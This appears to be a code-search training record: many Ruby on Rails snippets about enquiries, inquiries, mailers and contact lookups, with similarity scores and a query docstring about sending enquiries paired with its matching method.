"def set_general_enquiry\n @general_enquiry = GeneralEnquiry.find(params[:id])\n end",
"def show\n @product.enquiries.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @enquiry }\n end\n end",
"def new\n @enquiry = Enquiry.new\n respond_with @enquiry\n end",
"def index\n @enquiries = Enquiry.all\n end",
"def index\n @enquiries = Enquiry.all\n end",
"def show\n @inquiry = Inquiry.find(params[:id])\n\n respond_to do |format|\n format.html { render 'show'}\n format.xml { render :xml => @inquiry }\n end\n end",
"def api_get\n handler.get({email: email}, path)\n end",
"def show\n if logged_in?\n @realtor = Realtor.find_by(email: current_user.email)\n @inquiry = Inquiry.find_by(id: params[:inquiry])\n end\n end",
"def show\n @inquiry_form = current_site.inquiry_forms.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @inquiry_form }\n end\n end",
"def show\n @enquiry_source = EnquirySource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @enquiry_source }\n end\n end",
"def set_inquiry\n @inquiry = Inquiry.find(params[:id])\n end",
"def set_inquiry\n @inquiry = Inquiry.find(params[:id])\n end",
"def get_question(form_name, id)\n get_form(form_name)[:questions][id]\n end",
"def enquiry(enquiry)\n @enquiry = enquiry\n\n mail :to => Rails.configuration.enq_to_address, :subject => \"B&B availability request for Bull Farm Oast\", :bcc => Rails.configuration.enq_bcc_address, :reply_to => enquiry.email \n end",
"def set_inquiry\n @inquiry = Inquiry.find(params[:id])\n end",
"def set_inquiry\n @inquiry = Inquiry.find(params[:id])\n end",
"def enquiries_get(id, opts = {})\n data, _status_code, _headers = enquiries_get_with_http_info(id, opts)\n data\n end",
"def set_inquiry_question\n @inquiry_question = InquiryQuestion.find(params[:id])\n end",
"def get_or_create_enquiry\r\n ref = @e.aref # v0.65\r\n \r\n # v0.8 checked if blank as well as nil\r\n if ref == nil or ref.strip == \"\"\r\n ref = \"propid: \" + @e.propid\r\n end\r\n\r\n @enq = Enquiry.find(:first, :conditions => ['customer_id = ? and property = ?', @cust.id(), ref ]) # v0.65\r\n \r\n if not @enq\r\n @enq = Enquiry.create(\r\n :customer_id => @cust.id(),\r\n :property => ref, # v0.65\r\n :region => @e.region,\r\n :info => @e.info_req,\r\n :viewing => @e.viewing_info,\r\n :mortgage => @e.mortgage,\r\n :currency => @e.currency,\r\n :received_at => @e.created_at\r\n )\r\n \r\n @e.enquiry_created = true\r\n @log.debug \"Enquiry #{@i}: Created new enquiry\"\r\n end\r\n \r\n @log.info \"Enquiry #{@i}: Found/created enquiry for - #{@cust.to_s}, property #{ref}\"\r\n end",
"def index\n @general_enquiries = GeneralEnquiry.all\n end",
"def display_one_contact\n contact = retrieve_contact_by_email\n end",
"def set_enquire\n @enquire = Enquire.find(params[:id])\n end",
"def set_balance_enquiry\n @balance_enquiry = BalanceEnquiry.find(params[:id])\n end",
"def survey_question\n SurveyQuestion.find_by(id: survey_question_id)\n end",
"def get_consulta\n @consulta = Consulta.find(params[:consulta_id])\n end",
"def enquiry_params\n params[:enquiry].permit!\n end",
"def enquiries_search_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: EnquiriesApi.enquiries_search ...'\n end\n # resource path\n local_var_path = '/v1/enquiries'\n\n # query parameters\n query_params = {}\n query_params[:'agencyId'] = opts[:'agency_id'] if !opts[:'agency_id'].nil?\n query_params[:'agentId'] = opts[:'agent_id'] if !opts[:'agent_id'].nil?\n query_params[:'from'] = opts[:'from'] if !opts[:'from'].nil?\n query_params[:'to'] = opts[:'to'] if !opts[:'to'].nil?\n query_params[:'pageNumber'] = opts[:'page_number'] if !opts[:'page_number'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'text/html', 'application/xml', 'text/xml'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<DomainPublicAdapterWebApiModelsV1EnquiriesEnquiryReport>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EnquiriesApi#enquiries_search\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def retrieve_contact_by_email\n unless @rolodex.is_empty?\n print \"Please, provide the email of the contact in question: \"\n contact = @rolodex.search_contact(gets.chomp)\n if contact\n @rolodex.display_particular(contact)\n else\n puts \"Error: contact not found.\"\n end\n else\n contact = false\n puts \"Error: the Rolodex is empty.\"\n end\n return contact\n end",
"def show\n respond_with fetch_email(params[:id])\n end",
"def set_inquiry_detail\n @inquiry_detail = InquiryDetail.find(params[:id])\n end",
"def index\n @inquiries = Inquiry.all\n end",
"def inquiry_type_description\n ClearinghouseRequest::InquiryTypes[inquiry_type]\n end",
"def show\n @custom_question_attendee = CustomQuestionAttendee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @custom_question_attendee }\n end\n end",
"def index\n authorize @thing, :get_inquiry?\n @thing_inquiries = @thing.inquiry\n end",
"def show\n if @inquiries\n authorize @inquiries\n #@thing_id = params[:id]\n inquiries = policy_scope(Inquiry.where(:id=>@inquiries.id))\n puts \"INQUIRY RESULTS: INICIO\"\n puts inquiries\n puts \"INQUIRY RESULTS: FIM\"\n @inquiries = InquiryPolicy.merge(inquiries).last\n else\n render json: {errors: \"Inquiry not found!\"}, status: :unprocessable_entity\n end\n end",
"def show\r\n #this redirect is for unfixed legacy links, because artist see inquiries\r\n #not prefixed with gig in the url\r\n return Event::Read.emit(:inquiry, @inquiry.id) unless current_profile.artist?\r\n redirect_to inquiry_path(@inquiry.id)\r\n end",
"def enquiry_params\n params.require(:enquiry).permit(:product_id)\n end",
"def getex\n url = prefix + \"getex\" + id_param\n return response(url)\n end",
"def show\n @hr_attendence = Hr::Attendence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hr_attendence }\n end\n end",
"def get_for_email(email)\n full_path = full_resource_path(\"/email\")\n query_params = MaropostApi.set_query_params({\"contact[email]\" => email})\n \n MaropostApi.get_result(full_path, query_params)\n end",
"def question\n Question.find_by_id(questions_id)\n end",
"def acknowledge(enquiry)\n @enquiry = enquiry\n\n mail :to => enquiry.email, :subject => \"B&B availability request for Bull Farm Oast\"\n end",
"def send_enquiry_reply(enquirer)\n send_message(:election_enquiry_reply, nil, enquirer)\n end",
"def submit_enquiry(enquiry)\n @enquiry = enquiry\n mail(:subject => \"new enquiry from #{enquiry.name}\")\n end",
"def show\n redirect_to new_inquiry_path\n # @inquiry = Inquiry.find(params[:id])\n\n # respond_to do |format|\n # format.html # show.html.erb\n # format.xml { render :xml => @inquiry }\n # end\n end",
"def set_inquirydetail\n @inquirydetail = Inquirydetail.find(params[:id])\n end",
"def show\n @inquirement = Inquirement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inquirement }\n end\n end",
"def inquiry(inquiry)\n @inquiry = inquiry\n @greeting = \"咨询\"\n\n mail to: \"cvsend@139.com\", subject:\"有人咨询\", temlate_path: 'refer_notifier',template_name: 'inquiry'\n end",
"def index\n @inquirydetails = Inquirydetail.all\n end",
"def enquiry_params\n params.require(:enquiry).permit(:first_name, :last_name, :email, :phone)\n end",
"def contact; Contact.get(self.contact_id); end",
"def contact; Contact.get(self.contact_id); end",
"def contact; Contact.get(self.contact_id); end",
"def contact; Contact.get(self.contact_id); end",
"def contact; Contact.get(self.contact_id); end",
"def show\n @email = EventEmail.find(params[:id])\n respond_with @email\n end",
"def get_email(email)\n self.api_get(:email, {:email => email})\n end",
"def get_survey\n\t\tbegin\n @survey = current_political_campaign.surveys.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n \tflash[:error] = \"The requested Survey was not found.\"\n \tredirect_back_or_default customer_control_panel_url\n end\n\tend",
"def get_invoice(company, invoice_id, options = {})\n res = self.class.get(\"/#{company}/OE/OEInvoices(#{invoice_id})\", {query: options})\n Sage300Kit::Object.new(res)\n end",
"def email\n @invoice = Factura.find(params[:id])\n @company = @invoice.company\n end",
"def new\n @post = Enquiry.new\n # form_for(:post, :url => new_enquiries_path)\n # redirect_to enquiry_path\n end",
"def enquiry_params\n params.require(:enquiry).permit(:title, :name, :date, :status, :location_preference, :link, :area_id, :category_id)\n end",
"def show\n @participant_contact_email = Participant::Contact::Email.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @participant_contact_email }\n end\n end",
"def find(email)\n Mailgun.submit :get, complaint_url(email)\n end",
"def create_agent_enquiry(agent, enqtype)\r\n if not agent\r\n @log.warn \"could not create agent enquiry - no agent record\"\r\n else\r\n AgentEnquiry.create(\r\n :enquiry_id => @enq.id(),\r\n :agent_id => agent.id(),\r\n :enq_type => enqtype,\r\n :sent_at => @e.created_at\r\n )\r\n @log.info \"Enquiry #{@i}: Creating agent enquiry - #{agent.to_s} type: #{enqtype}\"\r\n end\r\n end",
"def enquiry_params\n params.require(:enquiry).permit(:user_id, :name, :email, :subject, :text, :sent_at)\n end",
"def getResponse(surveyId, questionId)\n return survey_responses.where({:survey_id => surveyId, :survey_question_id => questionId}).first\n end",
"def show\n @contact = Contacte.find(params[:id])\n end",
"def find_client_by_email(email)\n rsp = HTTParty.get(HOST + \"/api/v2/desk/people/search?q=#{email}&fields=email&access_token=#{ACCESS_TOKEN}\")\n raise \"Request failed: #{rsp.code}, #{rsp}\" unless rsp.success?\n\n if rsp['results'].length > 0\n rsp['results'][0]['person']['id']\n end\nend",
"def create\n extra = ParamsFormatter.new(params[:enquiry]).generate\n @enquiry = Enquiry.new(enquiry_params.merge(extra))\n respond_to do |format|\n if @enquiry.save\n format.html { redirect_to @enquiry, notice: 'Enquiry was successfully created.' }\n format.json { render :show, status: :created, location: @enquiry }\n else\n format.html { render :new }\n format.json { render json: @enquiry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_email(email_id)\n request :get, \"/v3/emails/#{email_id}.json\"\n end",
"def envelope\n Hancock::Request.send_get_request(\"/envelopes/#{envelope_id}\")\n end",
"def show\n# @business.host_site = session['host_site']\n # render layout: false\n @inquiries = Inquiry.includes(:user, :business).where(business_id: @business.id)\n @inquiry_questions = @business.inquiry_questions\n end",
"def enquiry_params\n params.require(:enquiry).permit(:Reference, :Location, :Date, :Time, :Amount)\n end",
"def show\n @email = Email.find(params[:id])\n end",
"def get(invoice_id, invoice_sequence)\n get_request(t_url(:invoice, invoice_id, invoice_sequence))\n end",
"def show\n @survey = Survey.find_by_id(params[:survey_id])\n end",
"def getlrid(email)\n\n response = rest_get_call($LR_FIXTURES_URL + '/get-lrid-by-email/' + email)\n\n if (response.code != '200') then\n raise \"Error in finding email for: \" + email\n end\n\n return response.body\n\nend",
"def show\n @employe_ccq_qualification = EmployeCcqQualification.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @employe_ccq_qualification }\n end\n end",
"def enquiry_params\n params.require(:enquiry).permit(:title, :salutation, :name, :country, :contact_no, :email, :content, :subject)\n end",
"def response(enquiry)\n @greeting = \"Hi\"\n @enquiry = enquiry\n mail(to:@enquiry.email, subject:\"Thankyou for your enquiry\")\n end",
"def question\n Question.find_by_id(self.question_id)\n end",
"def enquiries_post(enquiry, opts = {})\n data, _status_code, _headers = enquiries_post_with_http_info(enquiry, opts)\n data\n end",
"def show\n @purchase_requisition = PurchaseRequisition.find(params[:id])\n end",
"def new_from_enquiry\n @enquiry = Enquiry.find(params[:id])\n if @enquiry.nil?\n redirect_to root_path\n end\n\n if @enquiry.accepted? && @enquiry.customer == current_user.customer\n @booking = Booking.new \n else\n redirect_to enquiry_path(@enquiry)\n end\n end",
"def ticket(q)\n Ticket.find(self, q)\n end",
"def show\n @email = Email.find(params[:id])\n respond_with @email\n end",
"def show\n @qmail = Qmail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @qmail }\n end\n end",
"def show\n @question_requirement = QuestionRequirement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question_requirement }\n end\n end",
"def survey_identifier\n @form || @instrument\n end"
] |
[
"0.7656498",
"0.7073781",
"0.679204",
"0.679204",
"0.679204",
"0.679204",
"0.679204",
"0.679204",
"0.679204",
"0.6613011",
"0.61701363",
"0.5994193",
"0.5910172",
"0.5828734",
"0.5828734",
"0.5730599",
"0.56073195",
"0.5590675",
"0.5580071",
"0.5531131",
"0.5516563",
"0.55165154",
"0.55044955",
"0.5485154",
"0.5464553",
"0.5464553",
"0.5456451",
"0.54341257",
"0.5420677",
"0.5366407",
"0.5358144",
"0.5337061",
"0.531752",
"0.53012854",
"0.52618146",
"0.5227248",
"0.52255887",
"0.5198451",
"0.5184835",
"0.5177497",
"0.5173946",
"0.51630735",
"0.5154415",
"0.5154235",
"0.51453406",
"0.51342785",
"0.51340294",
"0.5129956",
"0.5118861",
"0.51165223",
"0.5114472",
"0.5112525",
"0.511214",
"0.5109924",
"0.51000005",
"0.50924975",
"0.5082479",
"0.5053698",
"0.5051546",
"0.50466335",
"0.50317353",
"0.50317353",
"0.50317353",
"0.50317353",
"0.50317353",
"0.50257444",
"0.5019028",
"0.50124526",
"0.50095266",
"0.5007365",
"0.50009096",
"0.500042",
"0.4996711",
"0.49888694",
"0.4983608",
"0.49768293",
"0.49682754",
"0.49559107",
"0.49514583",
"0.49456045",
"0.4937193",
"0.49292427",
"0.49081048",
"0.48920694",
"0.4889963",
"0.48862928",
"0.4866876",
"0.4866865",
"0.486242",
"0.48587918",
"0.48506615",
"0.484667",
"0.48428923",
"0.48418087",
"0.48395213",
"0.48314458",
"0.48307964",
"0.48274297",
"0.48206863",
"0.4814126"
] |
0.50877565
|
56
|
Sends an enquiry for listing, agency, etc... (based on the enquiry type and referenceid). Recipients and template will be automatically selected.
|
def enquiries_post(enquiry, opts = {})
data, _status_code, _headers = enquiries_post_with_http_info(enquiry, opts)
data
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def enquiry(enquiry)\n @enquiry = enquiry\n\n mail :to => Rails.configuration.enq_to_address, :subject => \"B&B availability request for Bull Farm Oast\", :bcc => Rails.configuration.enq_bcc_address, :reply_to => enquiry.email \n end",
"def inquiry(inquiry)\n @inquiry = inquiry\n @greeting = \"咨询\"\n\n mail to: \"cvsend@139.com\", subject:\"有人咨询\", temlate_path: 'refer_notifier',template_name: 'inquiry'\n end",
"def send_enquiry\r\n EnquiryMailer.submit_enquiry(self).deliver_now \r\n end",
"def acknowledge(enquiry)\n @enquiry = enquiry\n\n mail :to => enquiry.email, :subject => \"B&B availability request for Bull Farm Oast\"\n end",
"def sent_wholesale_inquiry(contact)\n @contact = contact\n mail(:to => @contact.email, :subject => \"Your wholesale inquiry has been sent to Feya Candle\")\n end",
"def submit_enquiry(enquiry)\n @enquiry = enquiry\n mail(:subject => \"new enquiry from #{enquiry.name}\")\n end",
"def set_enquiry\n @enquiry = @product.enquiries.find(params[:id])\n end",
"def wholesale_inquiry(contact)\n @contact = contact\n @url = contacts_path\n mail(:to => \"feyacandle@gmail.com\", :subject => \"Wholesale inquiry\")\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def set_enquiry\n @enquiry = Enquiry.find(params[:id])\n end",
"def suggest_inquiry(contact)\n @contact = contact\n @url = contacts_path\n mail(:to => \"feyacandle@gmail.com\", :subject => \"Suggested store inquiry\")\n end",
"def sent_suggest_inquiry(contact)\n @contact = contact\n mail(:to => @contact.email, :subject => \"Your suggestion has been sent to Feya Candle\")\n end",
"def inquiry(inquiry, options = {})\n get(\"inquiries/#{inquiry}\", options).pop\n end",
"def create\n @enquiry = Enquiry.find params[:enquiry_id]\n content = params[:email_content].gsub(\"\\n\", '<br>')\n FoodPartnerMailer.new_order_notice(@enquiry, content).deliver_later\n SupplierCommunication.create! comm_params\n @enquiry.wait_on_supplier\n head :ok\n end",
"def send_signup_email(enquiry)\n @enquiry = enquiry\n mail( :to => 'info@refunction.ca',\n :subject => 'Customer Enquiry' )\n end",
"def email_subject(form)\n \"#{form.type_of_enquiry} - #{reference}\"\n end",
"def sent_volunteer_inquiry(contact)\n @contact = contact\n mail(:to => @contact.email, :subject => \"Your volunteer inquiry has been sent to Feya Candle\")\n end",
"def reviewed(inquiry)\n @inquiry = inquiry\n mail to: inquiry.email, subject: 'Verteo Biopharma Inquiry Reviewed'\n end",
"def send_email\n InquiryMailer.inquiry_created_email(self).deliver\n end",
"def food_partner_confirmation_notice(enquiry)\n @enquiry = enquiry\n @food_partner = @enquiry.food_partner\n @customer = @enquiry.customer\n mail(subject: \"[team] #{@food_partner.company_name} confirmed order #{@enquiry.id}\")\n end",
"def new_inquiry(inquiry)\n @inquiry = inquiry\n subject = @inquiry.subject.blank? ? 'Inquiry' : @inquiry.subject\n mail from: @inquiry.email, subject: subject\n end",
"def inquiry_created_email(inquiry)\n @inquiry = inquiry\n mail(to: 'tushiesandtantrums@gmail.com',\n subject: 'New Message from your Website',\n reply_to: @inquiry.email) do |format|\n format.html { render layout: 'email' }\n end\n end",
"def new_order_notice(enquiry)\n @enquiry = enquiry\n @customer = @enquiry.customer\n mail(subject: \"[team] New Order #{@enquiry.id}\")\n end",
"def response(enquiry)\n @greeting = \"Hi\"\n @enquiry = enquiry\n mail(to:@enquiry.email, subject:\"Thankyou for your enquiry\")\n end",
"def volunteer_inquiry(contact)\n @contact = contact\n @url = contacts_path\n mail(:to => \"feyacandle@gmail.com\", :subject => \"Volunteer inquiry\")\n end",
"def request_mail(from_email, content_body, requestor_type)\n @content= content_body\n @sender = from_email\n @requestor_type = requestor_type\n mail from: from_email, to: 'contact@codemalaysia.com', subject: 'PFS general enquiry'\n end",
"def create_inquiry(rental, options = {})\n post(\"rentals/#{rental}/inquiries\", inquiries: [options]).pop\n end",
"def create_agent_enquiry(agent, enqtype)\r\n if not agent\r\n @log.warn \"could not create agent enquiry - no agent record\"\r\n else\r\n AgentEnquiry.create(\r\n :enquiry_id => @enq.id(),\r\n :agent_id => agent.id(),\r\n :enq_type => enqtype,\r\n :sent_at => @e.created_at\r\n )\r\n @log.info \"Enquiry #{@i}: Creating agent enquiry - #{agent.to_s} type: #{enqtype}\"\r\n end\r\n end",
"def set_general_enquiry\n @general_enquiry = GeneralEnquiry.find(params[:id])\n end",
"def create\n @enquiry = Enquiry.new(params[:enquiry])\n\n respond_to do |format|\n if @enquiry.save\n logger.info {\"Starting email first\"}\n EnquiryMailer.enquiry_received(@enquiry).deliver\n logger.info {\"Starting email second\"}\n EnquiryMailer.enquiry_response(@enquiry).deliver\n format.html { redirect_to thanks_path, notice: 'Thank you for your enquiry.' }\n format.json { render action: 'show', status: :created, location: @enquiry }\n else\n format.html { render action: 'new' }\n format.json { render json: @enquiry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def received(inquiry)\n @inquiry = inquiry\n mail to: inquiry.email, subject: 'Verteo BioPharma Inquiry Confirmation'\n end",
"def contact_notifier(supplier, user, contact, listing)\n\t @supplier = supplier\n\t @user = user\n\t @contact = contact\n\t @listing = listing\n\t mail(:to => supplier.email,\n\t :subject => \"#{user.first_name} posted an inquiry on #{listing}\")\n end",
"def send_enquiry_reply(enquirer)\n send_message(:election_enquiry_reply, nil, enquirer)\n end",
"def notification(inquiry)\n @inquiry = inquiry\n\n mail :to => @inquiry.email, :subject => \"New Inquiry\"\n end",
"def inquiry(member)\n @member = member\n mail to: @member.email\n end",
"def seller_invoices\n logger.info(\"Will send email of SELLER JDE and ZLot csvs\")\n email = current_employee.present? ? current_employee.email : \"salesreports@outbid.com\"\n logger.info(\"Will send email to \\\"#{email}\\\"\")\n Vehicle.queue_seller_invoice_email(email)\n \n respond_to do |format|\n format.json { render json: { message: \"success\" } }\n format.html { redirect_to vehicles_url(:state_as_string => \"wtg_for_settlement_confirmation\") }\n end\n end",
"def partner_help_notice(partner_help_id)\n ActsAsTenant.current_tenant = nil\n @partner_help = PartnerHelp.find(partner_help_id)\n mail(subject: 'YesTrak Partner Help Form', to: @partner_help.email, bcc: \"#{APP_CONFIG['admin_emails']}\")\n end",
"def new_enquiry(operator, trip)\n @trip = trip\n @operator = operator\n @emails = Organisation.get_all_emails(trip.organisation)\n mail(\n to: @emails,\n subject: 'JetSetGo - New enquiry created'\n )\n end",
"def new\n @enquiry = Enquiry.new\n respond_with @enquiry\n end",
"def fulfillment_new_invoice(invoice) \n @invoice = invoice\n sc = invoice.site.store_config\n mail(:to => sc.fulfillment_email, :subject => 'New Order')\n end",
"def support_enquiry_notifier(enquiry, title)\n @title = title\n @name = enquiry.name\n @email = enquiry.email\n @message = enquiry.message\n @topic = enquiry.topic\n subject = \"#{@name} - #{@topic} - #{@title}\"\n\n @stats = enquiry.stats['categories']\n\n mail_hash = {subject: subject}\n\n if enquiry.stats.sender_email.present?\n mail_hash.merge!({from: enquiry.stats.sender_email})\n end\n\n if enquiry.stats.recipient_email.present?\n mail_hash.merge!({to: default_params[:to],\n bcc: enquiry.stats['recipient_email'].split(\",\").map(&:strip)})\n end\n\n mail(mail_hash)\n end",
"def buyer_invoices\n logger.info(\"Will send email of BUYER JDE and ZLot csvs\")\n email = current_employee.present? ? current_employee.email : \"salesreports@outbid.com\"\n logger.info(\"Will send email to \\\"#{email}\\\"\")\n Vehicle.queue_buyer_invoice_email(email)\n \n respond_to do |format|\n format.json { render json: { message: \"success\" } }\n format.html { redirect_to vehicles_url(:state_as_string => \"wtg_for_settlement_confirmation\") }\n end\n end",
"def show\n @enquiry = Enquiry.new\n @enquiry = Enquiry.find(params[:id])\n end",
"def invite_for(quarter, unit = nil)\n command_after_delivery = \"Organization.find(#{id}).activate_for(Quarter.find(#{quarter.id}), true)\"\n # Send the email\n primary_contacts_for_unit(unit).each do |r|\n tmail_object = OrganizationQuarter::MID_QUARTER_EMAIL_TEMPLATES['Invite only'].create_email_to(r)\n EmailQueue.queue(r.person_id, tmail_object, nil, command_after_delivery)\n @emails_sent = true\n end\n end",
"def investment_email(investor,investment_opportunity)\n @investor = investor\n @investment_opportunity = investment_opportunity\n mail(from: \"visitor@emergingfrontiers.com\",to: \"info@emergingfrontiers.com\",reply_to: @investor.email, subject: \"Emerging Frontiers Investment Inquiry\")\n end",
"def sendQuestionnaire\n email=params[:email]\n emails=email.split(\",\")\n description=params[:description]\n questionnaire_id = params[:questionnaire_id]\n emails.each do |one|\n ReviewerInviter.task_invitation(one, description, \"http://localhost:3000/questionnaires/answer_show?id=\"+questionnaire_id).deliver()\n end\n respond_to do |format|\n format.html { redirect_to(:back) } #, flash[:success] = \"holder updated\") \n end\n end",
"def contact(config, name, email, comments)\r\n\t\tcontent_type 'text/plain'\r\n\r\n\t\t@subject = \"Enquiry from #{config[:application][:name][:value]} Web site\"\r\n\t\t@recipients = config[:emails][:admin][:value]\r\n\t\t@from = \"#{name} <#{email}>\"\r\n\t\t@sent_on = Time.now\r\n\t\t@body['name'] = name\r\n\t\t@body['email'] = email\r\n\t\t@body['comments'] = comments\n\tend",
"def index\n @enquiries = Enquiry.all\n end",
"def index\n @enquiries = Enquiry.all\n end",
"def send_home_form_email(lead)\n @lead = lead\n mail( :to => @lead.email,\n :subject => \"The answer you seek\" )\n end",
"def create\n @enquiry = Enquiry.new(enquiry_params)\n\n respond_to do |format|\n if @enquiry.save\n format.html { redirect_to @enquiry, notice: 'Enquiry was successfully created.' }\n format.json { render :show, status: :created, location: @enquiry }\n else\n format.html { render :new }\n format.json { render json: @enquiry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def dispatch_to_default_with_helpdesk\n issue = receive_issue\n roles = issue.author.roles_for_project(issue.project)\n # add owner-email only if the author has assigned some role with\n # permission treat_user_as_supportclient enabled\n if roles.any? {|role| role.allowed_to?(:treat_user_as_supportclient) }\n sender_email = @email.from.first\n #XXX the email_details overrides bellow: there is subroutine call instead\n email_details = \"From: \" + @email[:from].formatted.first + \"\\n\"\n email_details << \"To: \" + @email[:to].formatted.join(', ') + \"\\n\"\n\n custom_field = CustomField.find_by_name('cc-handling')\n custom_value = CustomValue.where(\n \"customized_id = ? AND custom_field_id = ?\", issue.project.id, custom_field.id).first\n\n if (!@email.cc.nil?) && (custom_value.value == '1')\n carbon_copy = @email[:cc].formatted.join(', ')\n email_details << \"Cc: \" + carbon_copy + \"\\n\"\n custom_field = CustomField.find_by_name('copy-to') \n\t custom_value = CustomValue.where(\n \"customized_id = ? AND custom_field_id = ?\", issue.id, custom_field.id).first\n custom_value.value = carbon_copy\n custom_value.save(:validate => false)\n else\n carbon_copy = nil\n end\n\n email_details << \"Date: \" + @email[:date].to_s + \"\\n\"\n email_details = \"<pre>\\n\" + Mail::Encodings.unquote_and_convert_to(email_details, 'utf-8') + \"</pre>\"\n\t email_details = compose_email_details()\n issue.description = email_details + issue.description\n issue.save\n custom_field = CustomField.find_by_name('owner-email')\n custom_value = CustomValue.where(\n \"customized_id = ? AND custom_field_id = ?\", issue.id, custom_field.id).\n first\n custom_value.value = sender_email\n custom_value.save(:validate => false) # skip validation!\n \n # regular email sending to known users is done\n # on the first issue.save. So we need to send\n # the notification email to the supportclient\n # on our own.\n \n HelpdeskMailer.email_to_supportclient(issue, {:recipient => sender_email,\n :carbon_copy => carbon_copy} ).deliver\n # move issue's description onto the new (1-st) journal entry\n journal = Journal.new(:journalized_id => issue.id, :journalized_type => 'Issue', :user_id => issue.author.id, :notes => issue.description, :private_notes => false, :created_on => issue.created_on)\n journal.notify = false # regular email sending to known users is done so no need to notify one more time about this technical operation\n journal.save\n issue.description = ''\n issue.save\n\n end\n after_dispatch_to_default_hook issue\n return issue\n end",
"def invoice\n if @invoice.should_be_delivered? then\n @invoice.set_delivered \n end\n \n respond_to do |wants|\n wants.html do\n redirect_to survey_report_path(@survey)\n end\n end\n end",
"def create\n extra = ParamsFormatter.new(params[:enquiry]).generate\n @enquiry = Enquiry.new(enquiry_params.merge(extra))\n respond_to do |format|\n if @enquiry.save\n format.html { redirect_to @enquiry, notice: 'Enquiry was successfully created.' }\n format.json { render :show, status: :created, location: @enquiry }\n else\n format.html { render :new }\n format.json { render json: @enquiry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def enquiry_params\n params.require(:enquiry).permit(:Reference, :Location, :Date, :Time, :Amount)\n end",
"def create\n @enquiry = Enquiry.new(enquiry_params)\n\n respond_to do |format|\n if @enquiry.save\n format.html { redirect_to root_path, notice: 'Message was successfully sent.' }\n format.json { render :show, status: :created, location: @enquiry }\n else\n format.html { render :new }\n format.json { render json: @enquiry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def emailform\n end",
"def emailform\n end",
"def perform(inquiry_id)\n inquiry = Inquiry.find_by(id: inquiry_id)\n sender = find_user(inquiry.sender_id)\n receiver = find_user(inquiry.receiver_id)\n apartment = find_apartment(inquiry.apartment_id)\n room = Room.create(name_for_student: \"#{apartment&.title} - #{receiver.username}\" , name_for_landlord: \"#{apartment&.title} - #{sender.username}\", inquiry: inquiry)\n message = Message.create(content: inquiry&.message, user_id: inquiry&.sender_id, room: room)\n InquiryMailer.send_inquiry(sender, receiver, inquiry).deliver_later\n end",
"def inquiry(contact_message)\n @contact_message = contact_message\n mail to: \"newsletterstar@gmail.com\",\n from: contact_message.email,\n subject: \"Neue Kontaktanfrage\"\n end",
"def invite_worker(email, agency)\n setup_email\n body[:agency] = agency\n recipients email\n subject \"Invite from #{agency.name} to use on-line timesheets at ClockOff.com\"\n end",
"def enquiry_params\n params.require(:enquiry).permit(:title, :name, :date, :status, :location_preference, :link, :area_id, :category_id)\n end",
"def invoice\n @greeting = \"Hi\"\n\n mail to: \"ajayashok.01@gmail.com\"\n end",
"def create_yatra_enquiry(yatra_enquiry, operator)\n @yatra_enquiry = yatra_enquiry\n @operator = operator\n mail(\n to: @operator.email,\n subject: 'JetSetGo - New Yatra Enquiry Received.'\n )\n end",
"def send_enquiry()\n # Send election enquiry message. The master will reply if its node_id is greater than this node's\n send_message(:election_enquiry)\n # Wait for the master's response for a few seconds\n @master_response_timeout = EM::Timer.new(5) do\n # No response, asume we are the master\n Logger.info log_message(\"No response from the master, claiming to be the master.\")\n become_master\n end\n end",
"def interview_request(interview, employer, candidate)\n @interview = interview\n @employer = employer\n @candidate = candidate\n \n subject = \"Takeoff - Interview Request\"\n \n mail to: \"takeoff@interviewjet.com\", subject: subject\n \n \n end",
"def new_inquiry(name, email, phone, message)\n mail( :to => ENV['GMAIL_USERNAME'],\n :from => ENV['GMAIL_USERNAME'],\n :subject => 'NEW INQUIRY' + ' from ' + name,\n :body => message\n )\n end",
